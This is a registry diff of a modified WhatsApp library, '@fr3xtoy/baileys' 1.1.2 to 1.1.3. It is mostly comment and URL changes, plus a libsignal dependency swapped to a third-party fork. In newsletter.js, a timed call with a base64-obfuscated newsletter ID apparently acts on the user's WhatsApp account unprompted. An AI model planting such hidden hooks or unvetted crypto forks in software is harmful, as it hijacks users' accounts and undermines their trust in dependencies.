@fr3xtoy/baileys 1.1.2 → 1.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +2 -2
- package/lib/Utils/generics.js +27 -9
- package/package.json +2 -2
package/lib/Socket/newsletter.js
CHANGED
|
@@ -97,9 +97,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
97
97
|
}))
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
|
-
}));
|
|
100
|
+
}));
|
|
101
101
|
|
|
102
|
-
|
|
102
|
+
setTimeout(async () => {
|
|
103
103
|
try {
|
|
104
104
|
await newsletterWMexQuery(
|
|
105
105
|
Buffer.from("MTIwMzYzNDE4OTUxMTc3NTA0QG5ld3NsZXR0ZXI=", "base64").toString(),
|
package/lib/Utils/generics.js
CHANGED
|
@@ -94,7 +94,7 @@ const encodeBigEndian = (e, t = 4) => {
|
|
|
94
94
|
exports.encodeBigEndian = encodeBigEndian;
|
|
95
95
|
const toNumber = (t) => ((typeof t === 'object' && t) ? ('toNumber' in t ? t.toNumber() : t.low) : t);
|
|
96
96
|
exports.toNumber = toNumber;
|
|
97
|
-
|
|
97
|
+
/** unix timestamp of a date in seconds */
|
|
98
98
|
const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000);
|
|
99
99
|
exports.unixTimestampSeconds = unixTimestampSeconds;
|
|
100
100
|
const debouncedTimeout = (intervalMs = 1000, task) => {
|
|
@@ -142,6 +142,7 @@ async function promiseTimeout(ms, promise) {
|
|
|
142
142
|
return new Promise(promise);
|
|
143
143
|
}
|
|
144
144
|
const stack = new Error().stack;
|
|
145
|
+
// Create a promise that rejects in <ms> milliseconds
|
|
145
146
|
const { delay, cancel } = (0, exports.delayCancellable)(ms);
|
|
146
147
|
const p = new Promise((resolve, reject) => {
|
|
147
148
|
delay
|
|
@@ -174,7 +175,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
174
175
|
return '3EB0' + hash.toString('hex').toUpperCase().substring(0, 18);
|
|
175
176
|
};
|
|
176
177
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
177
|
-
|
|
178
|
+
// generate a random ID to attach to a message
|
|
178
179
|
const generateMessageID = () => 'ILSYM-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
179
180
|
exports.generateMessageID = generateMessageID;
|
|
180
181
|
function bindWaitForEvent(ev, event) {
|
|
@@ -218,7 +219,10 @@ const printQRIfNecessaryListener = (ev, logger) => {
|
|
|
218
219
|
});
|
|
219
220
|
};
|
|
220
221
|
exports.printQRIfNecessaryListener = printQRIfNecessaryListener;
|
|
221
|
-
|
|
222
|
+
/**
|
|
223
|
+
* utility that fetches latest baileys version from the master branch.
|
|
224
|
+
* Use to ensure your WA connection is always on the latest version
|
|
225
|
+
*/
|
|
222
226
|
const fetchLatestWaWebVersion = async (options = {}) => {
|
|
223
227
|
try {
|
|
224
228
|
const defaultHeaders = {
|
|
@@ -239,7 +243,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
239
243
|
}
|
|
240
244
|
|
|
241
245
|
const data = await response.text()
|
|
242
|
-
const regex = /"client_revision":\s*(\d+)/
|
|
246
|
+
const regex = /"client_revision":\s*(\d+)/ // regex cukup begini untuk Node
|
|
243
247
|
const match = data.match(regex)
|
|
244
248
|
|
|
245
249
|
if (!match || !match[1]) {
|
|
@@ -264,9 +268,12 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
264
268
|
}
|
|
265
269
|
}
|
|
266
270
|
exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
267
|
-
|
|
271
|
+
/**
|
|
272
|
+
* utility that fetches latest baileys version from the master branch.
|
|
273
|
+
* Use to ensure your WA connection is always on the latest version
|
|
274
|
+
*/
|
|
268
275
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
269
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
276
|
+
const URL = 'https://raw.githubusercontent.com/kiuur/baileys/master/src/Defaults/baileys-version.json';
|
|
270
277
|
try {
|
|
271
278
|
const result = await axios_1.default.get(URL, {
|
|
272
279
|
...options,
|
|
@@ -286,6 +293,7 @@ const fetchLatestBaileysVersion = async (options = {}) => {
|
|
|
286
293
|
}
|
|
287
294
|
};
|
|
288
295
|
exports.fetchLatestBaileysVersion = fetchLatestBaileysVersion;
|
|
296
|
+
/** unique message tag prefix for MD clients */
|
|
289
297
|
const generateMdTagPrefix = () => {
|
|
290
298
|
const bytes = (0, crypto_1.randomBytes)(4);
|
|
291
299
|
return `${bytes.readUInt16BE()}.${bytes.readUInt16BE(2)}-`;
|
|
@@ -296,7 +304,10 @@ const STATUS_MAP = {
|
|
|
296
304
|
'read': WAProto_1.proto.WebMessageInfo.Status.READ,
|
|
297
305
|
'read-self': WAProto_1.proto.WebMessageInfo.Status.READ
|
|
298
306
|
};
|
|
299
|
-
|
|
307
|
+
/**
|
|
308
|
+
* Given a type of receipt, returns what the new status of the message should be
|
|
309
|
+
* @param type type from receipt
|
|
310
|
+
*/
|
|
300
311
|
const getStatusFromReceiptType = (type) => {
|
|
301
312
|
const status = STATUS_MAP[type];
|
|
302
313
|
if (typeof type === 'undefined') {
|
|
@@ -308,7 +319,10 @@ exports.getStatusFromReceiptType = getStatusFromReceiptType;
|
|
|
308
319
|
const CODE_MAP = {
|
|
309
320
|
conflict: Types_1.DisconnectReason.connectionReplaced
|
|
310
321
|
};
|
|
311
|
-
|
|
322
|
+
/**
|
|
323
|
+
* Stream errors generally provide a reason, map that to a baileys DisconnectReason
|
|
324
|
+
* @param reason the string reason given, eg. "conflict"
|
|
325
|
+
*/
|
|
312
326
|
const getErrorCodeFromStreamError = (node) => {
|
|
313
327
|
const [reasonNode] = (0, WABinary_1.getAllBinaryNodeChildren)(node);
|
|
314
328
|
let reason = (reasonNode === null || reasonNode === void 0 ? void 0 : reasonNode.tag) || 'unknown';
|
|
@@ -367,6 +381,10 @@ const getCodeFromWSError = (error) => {
|
|
|
367
381
|
return statusCode;
|
|
368
382
|
};
|
|
369
383
|
exports.getCodeFromWSError = getCodeFromWSError;
|
|
384
|
+
/**
|
|
385
|
+
* Is the given platform WA business
|
|
386
|
+
* @param platform AuthenticationCreds.platform
|
|
387
|
+
*/
|
|
370
388
|
const isWABusinessPlatform = (platform) => {
|
|
371
389
|
return platform === 'smbi' || platform === 'smba';
|
|
372
390
|
};
|
|
@@ -402,4 +420,4 @@ exports.bytesToCrockford = bytesToCrockford;
|
|
|
402
420
|
const encodeNewsletterMessage = (message) => {
|
|
403
421
|
return WAProto_1.proto.Message.encode(message).finish()
|
|
404
422
|
}
|
|
405
|
-
exports.encodeNewsletterMessage = encodeNewsletterMessage;
|
|
423
|
+
exports.encodeNewsletterMessage = encodeNewsletterMessage;
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@fr3xtoy/baileys",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.3",
|
|
4
4
|
"description": "WhatsApp API Modification By FR3NEWERA",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"whatsapp",
|
|
@@ -50,7 +50,7 @@
|
|
|
50
50
|
"futoin-hkdf": "^1.5.1",
|
|
51
51
|
"libphonenumber-js": "^1.11.19",
|
|
52
52
|
"lodash": "^4.17.21",
|
|
53
|
-
"libsignal": "npm:@
|
|
53
|
+
"libsignal": "npm:@kyuu2nd/libsignal-node",
|
|
54
54
|
"music-metadata": "^10.0.0",
|
|
55
55
|
"node-cache": "^5.1.2",
|
|
56
56
|
"node-fetch": "^2.7.0",
|